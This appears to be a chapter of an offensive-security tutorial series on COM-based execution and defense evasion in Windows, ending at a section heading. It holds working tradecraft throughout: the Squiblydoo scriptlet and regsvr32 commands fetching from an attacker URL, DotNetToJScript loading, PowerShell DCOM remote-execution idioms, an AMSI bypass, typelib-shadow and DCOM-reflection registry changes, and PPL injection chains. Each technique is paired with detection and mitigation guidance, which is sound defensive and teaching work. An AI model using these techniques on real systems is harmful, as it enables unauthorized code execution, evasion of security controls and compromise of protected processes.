Files
An0nUD4Y-Offensive-COM/06-com-execution-defense-evasion.md
2026-07-18 21:50:11 +05:30

70 KiB
Raw Permalink Blame History

06 · COM for Execution & Defense Evasion

Audience / level: Red team operators and detection engineers; ramps from "what is application whitelisting" to type-confusion into Protected Process Light and NTLM relay chains. Prerequisites: basic Windows administration (registry, services, event logs), PowerShell literacy; the COM activation and DCOM chapters of this series are helpful but not required. Estimated reading time: 90120 minutes. After this chapter you will be able to run and detect six families of COM-based execution/evasion techniques — scriptlets, serialized .NET delegates, abusable COM objects, type-confusion PPL injection, trapped COM objects, and DCOM-triggered NTLM relay — and enumerate new primitives of each class yourself.

Contents


1. Why Signed Binaries and COM Defeat Application Whitelisting

Application whitelisting (AWL) — AppLocker or WDAC policy that decides what may run based on publisher signature, path, or hash — trusts Microsoft-signed binaries by default. COM gives an attacker a way to spend that trust: it lets a signed Microsoft binary load an interpreter, instantiate an object, or deserialize a payload that the caller chooses. The policy engine sees a chain of signed Microsoft code; the attacker sees arbitrary execution. Every technique in this chapter is a variation on that single idea.

Beginner note: Application whitelisting (AWL) is a defensive control that inverts the default execution model: instead of blocking known-bad code, it allows only known-good code (typically "anything signed by Microsoft"). Its blind spot is that "signed by Microsoft" describes who built the binary, not what the binary will do when COM tells it what to load.

Beginner note: A LOLBIN ("living off the land" binary) is a signed, pre-installed Microsoft binary whose legitimate functionality can be repurposed for attacker execution — ATT&CK calls this System Binary Proxy Execution. regsvr32.exe, mshta.exe, wscript.exe, rundll32.exe, and the script-hosting DLLs are the classic set.

The canonical execution chain looks like this: regsvr32.exe (signed) loads scrobj.dll (signed), which parses an attacker-supplied XML file and compiles its embedded script with jscript.dll or vbscript.dll (both signed). Every module in the chain passes signature policy; no executable of the attacker's ever touches disk. Section 2 builds this chain step by step.

The scriptlet: a COM class written in XML

A COM scriptlet (.sct) is a Windows Script Component: an XML file that declares a COM class — with a progid and a classid — and implements it in embedded JScript or VBScript. scrobj.dll is the Microsoft-signed runtime that parses the XML, registers the class, and hosts the script engines that run its code. The .sct format is shared with .wsc files and with the script: moniker used in TypeLib-hijack persistence (the T1546.015 family); the scriptlet is therefore both an execution primitive and a file format that several other techniques reuse ([1]).

Where the defenders look: AMSI and ETW hooks

Beginner note: AMSI (Antimalware Scan Interface) is the Windows API through which a scripting engine hands content to the installed antivirus before executing it. ETW (Event Tracing for Windows) is the kernel-integrated telemetry bus; security products subscribe to providers such as Microsoft-Windows-Threat-Intelligence to observe behavior (memory operations, image loads, RPC calls) rather than content.

AMSI is wired into the exact interpreters COM abuses: the JScript and VBScript engines, Windows Script Host (WSH), PowerShell, VBA (2018), WMI, .NET Framework 4.8+ (which scans Assembly.Load(byte[]) as of April 2019), and even UAC (Microsoft-Antimalware-UacScan, ETW event 1201) ([3]). Because scrobj.dll hosts the WSH engines, scriptlet content is AMSI-scanned; each CreateObject'd script block is scanned again. Two boundary conditions matter for tradecraft:

  • The network fetch is not scanned — AMSI sees the script when it executes, not when regsvr32 downloads it. Egress monitoring, not AMSI, is the control for the fetch.
  • DotNetToJScript defaults to CLR v2, which has no AMSI hook; only CLR v4 output is scanned (section 3). In June 2018 Microsoft shipped AMSI signatures for default DotNetToJScript/SharpShooter output — a signature control, trivially evaded by changing the template, which Forshaw demonstrated by neutering AMSI in WSH entirely ([4]).

The residual telemetry when content scanning fails is ETW: Microsoft-Windows-DotNETRuntime ({e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}) reports assembly loads and JIT compilation inside wscript.exe/dllhost.exe, and Microsoft-Windows-Threat-Intelligence ({f4e1897c-bb5d-5668-f1d8-040f4d8dd344} — consumers must run as PPL) observes injection-style memory behavior. The full provider table is in section 8.

The visibility matrix below is the mental model for the whole chapter — each technique is positioned by which hooks it trips:

Stage AMSI Primary residual telemetry
Scriptlet content (Squiblydoo) Yes — AmsiScanBuffer in jscript/vbscript; second scan per CreateObject'd block Sysmon 1/3/7/11/22, Sigma Squiblydoo rules
.NET payload via COM (DotNetToJScript) Conditional — CLR 4.8+ scans in-memory Assembly.Load; CLR 2.0 has no hook DotNETRuntime ETW; Sysmon 7 (clr.dll/clrjit.dll in script hosts)
PowerShell DCOM one-liners Fully scanned (script-block logging, event 4104) 4104 content, process lineage
Type-confusion / trapped-COM native stages No direct AMSI — registry + RPC + reflection only Registry (Sysmon 12/13/14), RPC ETW, Threat-Intelligence ETW

Key idea: Defense evasion with COM is the art of moving execution into a context where the visibility hooks are absent or already satisfied — signed interpreters for AWL, CLR v2 for AMSI, and pure registry/RPC/reflection paths (sections 5-6) where there is no script content to scan at all.

Legal: Every technique below executes code or coerces authentication on systems. Run the PoCs only in your own lab VMs or inside an authorized engagement with written scope.


2. Squiblydoo: regsvr32 and COM Scriptlets

Squiblydoo (signed regsvr32 proxy execution of COM scriptlets)

MITRE: T1218.010 · Since: April 2016, Casey Smith (@subTee) ([1]) · Affects: all Windows builds shipping scrobj.dll (WSH); scriptlet content AMSI-scanned on modern builds; blocked inside protected processes since Windows 10 1803 (section 5)

Squiblydoo is the original COM-scriptlet whitelisting bypass. Casey Smith showed that regsvr32.exe /i: passes an arbitrary string to DllInstall, and that the signed scrobj.dll will treat that string as a location — a URL, local path, or UNC path — from which to fetch and parse a COM scriptlet ([1]). The technique was adopted almost immediately in the wild: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, the Koadic and Covenant frameworks, and Metasploit's web_delivery module all used it ([43]).

Figure 1 — Squiblydoo execution chain: signed binaries only, scriptlet fetched over HTTP, AMSI scan point inside scrobj.dll How to read this figure: follow the chain left to right — each box is a Microsoft-signed module, the dashed edge is the untrusted input (the .sct URL), and the shield marks where AMSI inspects the script text before execution. Note the annotations: no registry writes, no attacker binary on disk.

Mechanics

  1. Operator hosts a scriptlet at a URL (or a local/UNC path — /i: accepts all three) ([1]).
  2. Victim-side execution: regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll. The switch combination routes execution into scrobj.dll's install path (DllInstall) with the URL as its string argument; the /u + /i: form performs an unregister action, which means no registry writes and no administrative rights are required ([1]).
  3. scrobj.dll downloads the XML (regsvr32 is proxy-aware — it uses WinHTTP, so the fetch works through authenticated corporate proxies) and parses the <registration> element as a class declaration with progid and classid ([1]).
  4. Because the request is an unregistration, the script inside the class runs immediately as the class is torn down; scrobj.dll compiles the embedded JScript/VBScript with the WSH engines ([1]).
  5. scrobj.dll hosts the AMSI-enabled script engines, so the scriptlet content is submitted to AmsiScanBuffer before execution — and each block later instantiated via CreateObject is scanned again ([3]).
  6. The payload body (e.g., new ActiveXObject("WScript.Shell").Run(...)) executes in the regsvr32.exe process with the caller's privileges.

Prerequisites

Requirement Detail
Privileges None beyond a standard user (the /u + /i: form needs no admin and writes no registry)
OS/build Any Windows with WSH/scrobj.dll; on Windows 10 1803+ the same DLLs are blocked inside protected processes (CI.DLL mitigation, section 5)
Config Outbound HTTP/S from the victim for the URL-hosted form; proxy environments are fine (WinHTTP, proxy-aware)
Evasion posture Default scriptlet content is AMSI-scanned; default templates are signatured — customize the body

Proof of concept

payload.sct (after Smith's original Backdoor.sct gist ([2])):

<?XML version="1.0"?>
<scriptlet>
  <registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
    <script language="JScript"><![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]></script>
  </registration>
</scriptlet>

Local, URL-hosted, and UNC invocation:

regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll   # URL form (canonical)
regsvr32.exe /s /n /u /i:C:\labs\payload.sct        scrobj.dll   # local path
regsvr32.exe /s /n /u /i:\\fileshare\payload.sct    scrobj.dll   # UNC path

OpSec & detection

  • Sysmon EID 1 / Security 4688: regsvr32.exe command line containing /i: together with scrobj.dll, especially with a URL — near-signature fidelity. Sigma ships proc_creation_win_regsvr32_squiblydoo.yml; MITRE CAR-2019-04-003 covers the same behavior ([41],[44]).
  • Sysmon EID 3: regsvr32.exe making outbound HTTP/S connections is a near-zero-false-positive network indicator; EID 22 catches the DNS lookup for the scriptlet host.
  • Sysmon EID 7: scrobj.dll loaded into regsvr32.exe; EID 11: .sct files dropped to disk (URL form leaves no such artifact).
  • AMSI: the executed script content is scanned (the download is not); default Squiblydoo/SharpShooter-era templates are signatured since June 2018 ([3]).
  • Noise reduction: host the scriptlet on infrastructure that blends with normal software-delivery traffic and customize the XML body; expect the process and network indicators — not the content — to be what survives content-signature evasion.

Mitigations

  • AppLocker/WDAC rules that block scrobj.dll script execution (script and DLL rules); the oddvar.moe AppLocker case study walks the policy construction ([19]).
  • Alert on the command-line and network indicators above rather than on content; treat any regsvr32 network egress as hostile by default.
  • Where script hosts are not needed, disable WSH; ensure AMSI is enabled and that no amsi.dll shadowing is possible (section 3, Forshaw's bypass ([4])).

3. DotNetToJScript: Managed Code Inside the Windows Script Host

DotNetToJScript (deserialize a .NET delegate inside JScript/VBScript via COM)

MITRE: T1559.001 (with T1620 for the in-memory Assembly.Load) · Since: 2017, James Forshaw ([5]) · Affects: .NET Framework — CLR v2 by default (no AMSI); CLR v4 output is AMSI-scanned; default templates signatured since June 2018

DotNetToJScript takes a managed assembly and emits a JScript, VBScript, or HTA file that reconstructs it entirely in memory — no .exe or .dll ever touches disk. It is the engine inside SharpShooter, CACTUSTORCH, GreatSCT, and SuperSharpShooter, and it was the payload-delivery mechanism in enigma0x3's Outlook CreateObject DCOM lateral-movement technique of November 2017 ([5],[6],[10]). The trick that makes it work is that large parts of mscorlib are COM-visible: the script can instantiate the .NET BinaryFormatter itself through ActiveXObject.

Mechanics

  1. Build a bound delegate. The tool creates Delegate.CreateDelegate(typeof(XmlValueGetter), assemblyBytes, Assembly.Load(byte[])) — a delegate that calls Assembly.Load with the payload bytes already bound as its argument ([5]).
  2. Wrap for COM invocation. The bound delegate is wrapped in a COM-invocable HeaderHandler delegate (an abuse of delegate contra-variance) so it can later be fired with DynamicInvoke from a late-bound COM call ([5]).
  3. Serialize. The delegate graph is serialized with BinaryFormatter and Base64-encoded into a JScript/VBScript/HTA template, together with an entry_class name (default TestClass) ([5]).
  4. Runtime: COM from script. The script instantiates COM-visible mscorlib classes through their ProgIDs via ActiveXObjectSystem.Runtime.Serialization.Formatters.Binary.BinaryFormatter, System.Collections.ArrayList, System.Text.ASCIIEncoding, System.Security.Cryptography.FromBase64Transform — to rebuild the byte stream ([5]).
  5. Deserialize and invoke. Deserialize_2 rehydrates the delegate; DynamicInvoke fires Assembly.Load(byte[]); CreateInstance(entry_class) runs the payload class constructor — arbitrary managed code inside the script-host process ([5]):
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
var d   = fmt.Deserialize_2(stm);
var o   = d.DynamicInvoke(al.ToArray())   // -> Assembly.Load(byte[])
             .CreateInstance(entry_class); // constructor runs
  1. Result: a fully managed payload running inside signed wscript.exe/cscript.exe/HTA — the "no managed assembly on disk" property that made it the standard first-stage loader of 2018-era tradecraft ([5],[6]).

Prerequisites

Requirement Detail
Privileges Standard user
OS/build .NET Framework installed; tool output defaults to CLR v2 — on hosts with only v4, regenerate for v4 (AMSI-scanned)
Config WSH enabled; script content subject to AMSI on modern builds
Evasion posture Default templates signatured since June 2018 — mutate the template; CLR v2 has no AMSI hook ([4])

Proof of concept

Generate a script from any .NET assembly (tool options select JScript, VBScript, or HTA output and the entry class), then execute with the script host. The runtime core is the snippet in step 5; a minimal delivery loop:

# 1. Build payload.dll exposing public class TestClass with a payload constructor.
# 2. Run DotNetToJScript against it to produce payload.js (JScript template).
# 3. Execute in the signed script host:
wscript.exe payload.js

The generated payload.js contains the Base64 BinaryFormatter blob and the COM-visible mscorlib instantiation chain shown in step 5 — no other files are required.

OpSec & detection

  • AMSI: script content scanned; default DotNetToJScript/SharpShooter output signatured since June 2018. Forshaw's counter — "Disabling AMSI in JScript with One Simple Trick" — copies wscript.exe to a file named amsi.dll; LoadLibraryEx("amsi.dll") then returns the already-loaded EXE image, AmsiInitialize fails, and WSH runs unscanned ([4]).
  • CLR-version gap: v2 output carries no AMSI visibility at all; v4 output is scanned at Assembly.Load (4.8+, April 2019) ([3]).
  • ETW residual: Microsoft-Windows-DotNETRuntime ({e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}) assembly-load/JIT events inside wscript.exe/dllhost.exe reveal managed code in script hosts regardless of AMSI.
  • Sysmon EID 7: clr.dll, clrjit.dll, or mscoree.dll loading into wscript.exe/cscript.exe (also dllhost.exe, svchost.exe, mmc.exe, explorer.exe for the section 4 and 6 techniques) is the highest-fidelity image-load indicator; see the KQL query in section 8.

Mitigations

  • Do not rely on AMSI signatures alone — they bind to the default template; layer image-load and ETW detection.
  • Constrain WSH (AppLocker script rules), and alert on CLR loads inside script hosts.
  • Treat wscript.exe copies/renames (the amsi.dll shadow trick) as a detection opportunity in file and process telemetry.

4. LOLBIN-Style COM Execution Objects

Abusable COM execution objects (local and remote command execution through registered classes)

MITRE: T1559.001 (local) + T1021.003 (remote) · Since: enigma0x3, 2017 ([7]); bohops, 2018 ([11]) · Affects: object-dependent — see table; remote use requires administrator-level Launch/Activation rights by default

Windows ships with COM classes whose methods are command execution: ExecuteShellCommand, ShellExecute, DDEInitiate, Navigate2. Instantiating the class and calling the method is execution through entirely signed, whitelisted software — the "LOLCOM" idea. One accuracy point up front: no curated "LOLCOM" project exists (unlike LOLBAS for binaries). The working canon is the research corpus: enigma0x3's 2017 series ([7],[8],[9],[10]), bohops 2018 ([11],[12]), Tsukerman/Cybereason 2018-19 ([13],[14]), rvrsh3ll's Invoke-DCOM.ps1 ([15]), FireEye's two-part "Hunting COM Objects" (June 2019) ([17]), Axel Boesenach's hackdefense enumeration paper ([18]), and rasta-mouse's CsDCOM/CheeseDCOM tooling.

The verified object set:

Object CLSID/ProgID Method Host Notes
MMC20.Application {49B2791A-B1AE-4C90-9B8E-E860BA07F889} Document.ActiveView.ExecuteShellCommand(cmd,dir,params,"7") mmc.exe -Embedding local+remote; admin required (AppID launch perms)
ShellWindows {9BA05972-F6A8-11CF-A442-00A0C90A8F39} Document.Application.ShellExecute(...); Navigate/Navigate2 existing explorer.exe window (medium IL) usable from medium IL locally — code runs inside explorer.exe
ShellBrowserWindow {C08AFD90-F2A1-11D1-8455-00A0C91F3880} same new explorer.exe if no window local medium-IL exec; remote needs admin
ExcelDDE ProgID Excel.Application ({00024500-0000-0000-C000-000000000046}) DDEInitiate("cmd","/c ...") EXCEL.EXE no malicious doc needed; needs Office
Excel variants same RegisterXLL, ExecuteExcel4Macro (XLM) EXCEL.EXE enigma0x3 Sep 2017 ([9])
InternetExplorer.Application {0002DF01-0000-0000-C000-000000000046} Navigate2 to UNC/local exe iexplore.exe IE prompts limit reliability
htafile (LethalHTA) ProgID htafile remote instantiation → mshta fetches .hta mshta.exe codewhitesec Jul 2018 ([16])
Outlook.Application ProgID CreateObject("Wscript.Shell") + DotNetToJScript OUTLOOK.EXE enigma0x3 Nov 2017 ([10])
Utility objects ProgIDs WScript.Shell.Run, Shell.Application.ShellExecute, Schedule.Service, WbemScripting.SWbemLocator various standard local exec primitives
Visio.Application ProgID macro-less exec paths VISIO.EXE Tsukerman/CheeseDCOM lists ([13])

Mechanics

  1. Pick an object whose method reaches execution and whose hosting model fits the goal: new process (mmc.exe -Embedding, dllhost.exe /Processid:{CLSID}, EXCEL.EXE /automation -Embedding) or an existing medium-IL explorer.exe window (ShellWindows).
  2. Instantiate — locally via CoCreateInstance/PowerShell interop, remotely via CoCreateInstanceEx (GetTypeFromCLSID(clsid, target)).
  3. Call the execution method with the command line.
  4. The server process, not the client, spawns the payload — which is both the evasion property (parent is a signed Microsoft binary) and the detection anchor (that parent-child pair is anomalous).

Prerequisites

Requirement Detail
Privileges Local: medium IL suffices for ShellWindows/ShellBrowserWindow; MMC20 requires admin (AppID launch permissions). Remote: admin-tier Launch/Activation rights (default Administrators)
OS/build Object-dependent; Excel/Visio paths need Office installed
Config Remote: NTLM/Kerberos to 135 + dynamic RPC ports; DCOM hardening (KB5004442) compatible with legitimate tooling
Evasion posture PowerShell instantiation is fully AMSI/script-block logged — prefer compiled tooling for quiet runs

Proof of concept

The standard PowerShell idiom (this is also the exact string set defenders should detect) ([15]):

$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","target")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc","c:\windows\system32",$null,0)
# MMC20:   $obj.Document.ActiveView.ExecuteShellCommand($cmd,$null,$null,"7")
# ExcelDDE: $obj.DDEInitiate("cmd","/c calc")

Tooling for operators: Invoke-DCOM.ps1 (rvrsh3ll) ([15]); impacket dcomexec.py (-object MMC20|ShellWindows|ShellBrowserWindow, semi-interactive, returns output via a temp file over ADMIN$) ([35]); CrackMapExec dcom; rasta-mouse's CsDCOM/CheeseDCOM for C# operators.

OpSec & detection

  • Lineage is the anchor: mmc.exe -Embedding, dllhost.exe /Processid:{CLSID}, EXCEL.EXE /automation -Embedding, or explorer.exe spawning cmd.exe/powershell.exe — Sigma proc_creation_win_mmc_mmc20_lateral_movement.yml (rule id f1f3bf22-deb2-418d-8cce-e1a45e46a5bd) and Splunk's "Mmc LOLBAS Execution Process Spawn" cover the MMC case ([41],[45]).
  • PowerShell 4104 script-block logging catches the idiom verbatim: GetTypeFromCLSID, GetTypeFromProgID, Activator]::CreateInstance, ExecuteShellCommand, ShellExecute, DDEInitiate (Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block") ([45]).
  • Remote use adds network indicators: workstation-to-workstation TCP/135 + dynamic ports, Security 4624 Type 3 NTLM logons, and DcomLaunch-spawned servers (section 8).
  • Noise reduction: prefer objects hosted in already-running processes (ShellWindows inside explorer) to avoid a new-service-process event; expect the AppID/CLSID registry reads and outbound callbacks regardless.

Mitigations

  • Inventory legitimate DCOM (SCCM, backup, OPC, AV management) and deny the rest via dcomcnfg AppID Launch ACLs — MMC20 and the Office CLSIDs first.
  • Block workstation-to-workstation 135/dynamic RPC at the network layer; AppLocker/Office ASR rules for the Office objects.
  • Collect and alert on the lineage pairs and script-block strings above; treat dllhost.exe /Processid: anomalies as high priority.

5. PPL Injection via COM Type Confusion

Type-library substitution into PPL (Forshaw 2018, Parts 1-2, and IRundown::DoCallback)

MITRE: T1055 · Since: October/November 2018, James Forshaw, Google Project Zero ([20],[21]) · Affects: Windows 10 — the Part 2 chain works through 1809; the interpreter route was fixed in 1803; the KnownDlls technique was killed by Microsoft in July 2022

Beginner note: PPL (Protected Process Light) marks a process so that only code signed at an equal or higher signer level can open full-access handles to it — even administrators and other SYSTEM processes are locked out. Levels seen in this chapter: PPL-CodeGen (the .NET Runtime Optimization Service, which caches signing levels for UMCI), PPL-WindowsTCB, and full PP-WindowsTCB. PPL guards the crown jewels (LSASS — T1003.001 is the classic end-goal), so injecting unsigned code into PPL is both an evasion and an escalation primitive. Microsoft does not consider PPL a security boundary under its servicing criteria — these techniques earned no CVEs and no bounties on their own (caveat: that boundary rationale is an inference from Microsoft's response).

This two-part Project Zero work was the first public, no-admin, userland code execution inside PPL up to PPL-WindowsTCB and full PP-WindowsTCB. Its real legacy is the primitive it established — type-library substitution → type confusion inside the COM stub — later reused by itm4n's PPLdump/PPLmedic and by MDSec's IRundown::DoCallback injection ([20],[23],[24],[25]).

Figure 2 — Type-library substitution into PPL: HKCU typelib shadow, integer-as-pointer confusion, KnownDlls aliasing, and the escalation/fixes timeline How to read this figure: the left column is the attacker's userland, the right column the protected process; arrows show where data crosses the trust boundary (typelib shadow, marshaled pipe, the zeroing write, the induced DLL load). The bottom strip is the fixes timeline — note that each fix killed a technique, not the bug class.

Mechanics — Part 1: PPL via COM type confusion + KnownDlls ([20])

  1. Target: the .NET Runtime Optimization Service (mscorsvw.exe, NGEN), which runs at PPL-CodeGen.
  2. COM exposure: ngen install x.dll makes mscorsvw marshal a private, .NET-implemented class factory (CorSvcBindToWorkerClassFactory) over a named pipe via CoMarshalInterface — a COM server living inside PPL.
  3. Bug class: COM proxies/stubs are generated at runtime from a Type Library. The typelib is registered in HKLM, but HKCU\Software\Classes\TypeLib shadows it for the current user — no admin needed to substitute a modified definition.
  4. Confusion: the modified typelib changes one method signature — [out] long*[in] long on ICorSvcPooledWorker::CanReuseProcess. The server-side stub now unmarshals an attacker-chosen integer as a pointer → type confusion → controlled write of 0 to an arbitrary address.
  5. Data-only weaponization: aim the write at the loader global LdrpKnownDllDirectoryHandle. Pre-fill the child PPL's handle table with inheritable handles to a fake KnownDlls object directory; a 32-bit write zeroes the top 16 bits of the real handle value, aliasing it to the fake. An induced DLL load then maps unsigned code into the PPL and runs DllMain. No thread injection, no ROP, no CFG bypass.
  6. Escalation to PPL-WinTcb: abuse the CiSetFileCache cached-signing backdoor to cache-sign an arbitrary DLL as Microsoft/WinTcb.

Mechanics — Part 2: full PP-WindowsTCB via IRundown::DoCallback ([21])

  1. COM-hijack CLSID {07FC2B94-5285-417E-8AC3-C2CE5240B0FA} with ThreadingModel="Free" (HKCU) inside the PP target; inherit the fake KnownDlls handles.
  2. Start WerFaultSecure.exe at PP-WindowsTCB dumping an AppContainer process — using the vulnerable Windows 8.1 WerFaultSecure, whose dumps are unencrypted.
  3. Parse the dump for the per-process COM security secret, context pointer, and the IPID of the undocumented IRundown interface (present in every COM-remoting process).
  4. IRundown::DoCallback(fn, param) executes an arbitrary function with one pointer argument inside the PP: overwrite LdrpKnownDllDirectoryHandle, then LoadLibrary a fake KnownDll. Works on Windows 10 through 1809. Corollary: arbitrary memory read in any COM-remoting process → arbitrary execute — again without thread creation or allocation APIs. MDSec later productized exactly this as a general process-injection primitive (April 2022) ([25]).

Microsoft response and the fix timeline

  • PPL is not a security boundary per Microsoft's servicing criteria → no CVEs/bounties for PPL-only issues; the work was fixed anyway.
  • The JScript/scriptlet PPL-injection route (P0 Issue 1336) was fixed in Windows 10 1803: CI.DLL's CipMitigatePPLBypassThroughInterpreters blocks scrobj.dll, scrrun.dll, jscript.dll, jscript9.dll, and vbscript.dll from loading into protected processes — note this directly closes a Squiblydoo-into-PPL path.
  • CVE-2017-11830 — the CiSetFileCache TOCTOU security-feature bypass (P0 Issue 1332) used for the WinTcb escalation ([22]).
  • July 2022: Microsoft stopped initializing \KnownDlls in PPL processes, killing the PPLdump variant — but the underlying signature-not-verified-on-section-map issue remained, and PPLmedic (2023) re-proved the class ([23],[24]).
  • Follow-on tooling: itm4n's PPLdump/PPLmedic/PPLKiller, gabriellandau's PPLFault, MDSec's IRundown::DoCallback injection, and ANGRYORCHARD.

Prerequisites

Requirement Detail
Privileges Standard user (Part 1 needs no admin); the WinTcb escalation uses the CiSetFileCache bug ([22])
OS/build Windows 10; Part 2 works through 1809; KnownDlls technique dead post-July 2022 ([23])
Config .NET Runtime Optimization Service available; ability to write HKCU\Software\Classes\TypeLib
Evasion posture No CreateRemoteThread, no allocation APIs, no ROP/CFG bypass — invisible to classic injection telemetry

Proof of concept

Full weaponized code is in the referenced tooling ([24],[25]); the lab-reproducible core is the typelib shadow. (illustrative — verify in lab; use OleViewDotNet/midl to export, edit, and rebuild the typelib)

# 1. Export the ICorSvcPooledWorker typelib (OleViewDotNet), edit CanReuseProcess:
#      HRESULT CanReuseProcess([in] long dwProcessId);   // was [out] long*
# 2. Rebuild (midl) and register the modified typelib under the HKCU shadow hive:
reg add "HKCU\Software\Classes\TypeLib\<typelib-guid>\<version>" /ve /d "shadow" /f
# 3. Trigger the PPL COM server so its stub picks up the shadowed definition:
ngen install x.dll
# 4. Invoke CanReuseProcess with a pointer-sized integer; the server writes 0 there.

OpSec & detection

  • Sysmon EID 12/13/14: writes under HKCU\Software\Classes\TypeLib\{...} — the shadow registration is the highest-fidelity artifact; alert on any typelib write outside installers.
  • Sysmon EID 17/18: named-pipe creation/connection around mscorsvw.exe (the marshaled class factory).
  • Sysmon EID 8 blind spot: this chain performs no CreateRemoteThread — teach it as the canonical evasion gap for injection detections built on EID 8.
  • ETW: Microsoft-Windows-Threat-Intelligence ({F4E1897C-BB5D-5668-F1D8-040F4D8DD344}) observes the injection-style memory behavior; consumers must run PPL themselves.

Mitigations

  • The interpreter blocklist (1803+) and the July 2022 KnownDlls change are the platform mitigations; keep builds current.
  • Monitor/protect the HKCU TypeLib and CLSID hives; treat user-writable shadows of HKLM COM registrations as anomalous by policy.
  • Remember the residual class: signature verification on section mapping is still the load-bearing assumption PPLmedic exploits ([24]).

6. Trapped COM Objects: Fileless Execution Inside PPL

Trapped COM objects (IDispatch-driven .NET reflection inside the server process)

MITRE: T1559.001 + T1055 (in-PPL execution) · Since: January 2025, James Forshaw, Project Zero ([26]) · Affects: Windows 10/11 — the WaaSMedicSvc PPL variant fails on updated Windows 11 (CLR cannot load into that PPL); the bug class remains open ([29])

Beginner note: A trapped COM object is a marshal-by-reference object that lives server-side: the client holds only a proxy, and every method call executes in the server's process and security context. Forshaw's insight is that a trapped object is not just a call proxy — through IDispatch::GetTypeInfo the client can browse the server's type libraries and coax the server into activating new objects in its own context. The defense-evasion angle: everything after activation is registry edits, RPC calls, and .NET reflection — no file, no script, no injection API.

The bug class was published as "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" (googleprojectzero.blogspot.com, January 2025 by URL; commonly reported February 2025) ([26]). Microsoft's position: not a security-boundary violation (admin→PPL is not a defended boundary) → a detection problem, no CVE as of writing.

Mechanics ([26])

  1. Client activates an out-of-process COM server; the returned marshal-by-reference object is trapped server-side — calls execute in the server.
  2. Via IDispatch::GetTypeInfoITypeLib, enumerate the typelibs the server references — including stdole ({00020430-0000-0000-C000-000000000046}, stdole2.tlb). Request a new StdFont object ({0BE35203-8F91-11CE-9DE3-00AA004BB851}) through the trapped object — it is resolved in the server process context: another trapped object.
  3. Redirect StdFont to .NET: hijack the StdFont COM registration (HKCU locally; remote registry remotely — the CLSID-redirection primitive catalogued under T1546.015) so activation yields a .NET System.Object CCW. Set AllowDCOMReflection=1 and OnlyUseLatestCLR=1 under Software\Microsoft\.NETFramework to make .NET reflection usable over DCOM.
  4. Reflection chain: GetType()AssemblyAssembly.Load(byte[]) → arbitrary managed code inside the server-side DCOM process — fileless; mscoree/clr/clrjit are Microsoft-signed, so the loaded runtime is PPL image-signature compatible.
  5. Demo target: the WaaSRemediationAgent COM class hosted by WaaSMedicSvc (Windows Update Medic Service) — a PPL (PsProtectedSignerWindows-Light) svchost running as SYSTEM → code execution inside PPL as SYSTEM. (The class's CLSID is not public; refer to it by class name.)

Operationalizations

  • IBM X-Force — ForsHops (Tran & Bayne, March 2025) ([27],[28]): "Fileless lateral movement with trapped COM objects." Remote chain: (1) remotely set AllowDCOMReflection/OnlyUseLatestCLR; (2) remotely hijack StdFont → System.Object; (3) create WaaSRemediationAgent over DCOM; (4) resolve the trapped StdFont→System.Object inside the remote WaaSMedicSvc PPL; (5) Assembly.Load → SYSTEM inside a protected, signed process, zero files — the only disk artifacts are registry values.
  • Outflank (Kyle Avery, July 2025) ([29]): the WaaSMedicSvc/PPL approach fails on updated Windows 11 because the CLR can't load into that PPL — a target-specific failure, not a class-specific one; LLM-assisted registry enumeration found alternative trapped-COM classes that still work.
  • T3nb3w ComDotNetExploit: a local PPL-injection PoC variant of the same chain.

Prerequisites

Requirement Detail
Privileges Local: admin-tier for the PPL target path (admin→PPL is the accepted precondition). Remote (ForsHops): rights to write the target's registry and activate DCOM objects
OS/build Windows 10/11; WaaSMedicSvc variant broken on updated Win11 — enumerate alternative classes ([29])
Config StdFont registration hijack; AllowDCOMReflection=1, OnlyUseLatestCLR=1 under Software\Microsoft\.NETFramework
Evasion posture Fileless; no AMSI surface (no script content); only registry + RPC + reflection telemetry

Proof of concept

The registry precondition (local form; the remote form writes the same values over remote registry) (illustrative — verify in lab):

# 1. Enable .NET reflection over DCOM:
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework" /v AllowDCOMReflection /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework" /v OnlyUseLatestCLR    /t REG_DWORD /d 1 /f
# 2. Hijack StdFont ({0BE35203-8F91-11CE-9DE3-00AA004BB851}) registration in HKCU
#    so its activation yields a .NET System.Object CCW.
# 3. Activate the trapped target (e.g., WaaSRemediationAgent in WaaSMedicSvc),
#    walk IDispatch -> GetTypeInfo -> ITypeLib, request StdFont, then:
#    GetType() -> Assembly -> Assembly.Load(byte[])  # runs inside the server/PPL

OpSec & detection

  • High-fidelity registry artifacts (Sysmon EID 12/13/14): AllowDCOMReflection / OnlyUseLatestCLR set to 1 under (HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\ — near-signature for this class; plus the StdFont CLSID redirection under HKCU\Software\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851} (see the KQL queries in section 8).
  • Image loads (Sysmon EID 7): clr.dll/clrjit.dll/mscoree.dll appearing in svchost.exe/dllhost.exe that host DCOM services.
  • No AMSI, no EID 8: native stages leave content scanners and CreateRemoteThread analytics blind — Microsoft explicitly framed the class as a detection problem ([26]).

Mitigations

  • Alert on the .NETFramework reflection values and any HKCU CLSID shadowing; both are policy-hostile in enterprise images.
  • Restrict remote registry and DCOM activation rights; segment 135/dynamic RPC (section 8 hardening).
  • Treat CLR loads inside DCOM-hosting svchost instances as an incident trigger.

7. DCOM and NTLM Relay Chains

DCOM as an NTLM relay trigger (RemotePotato0 and RemoteMonologue)

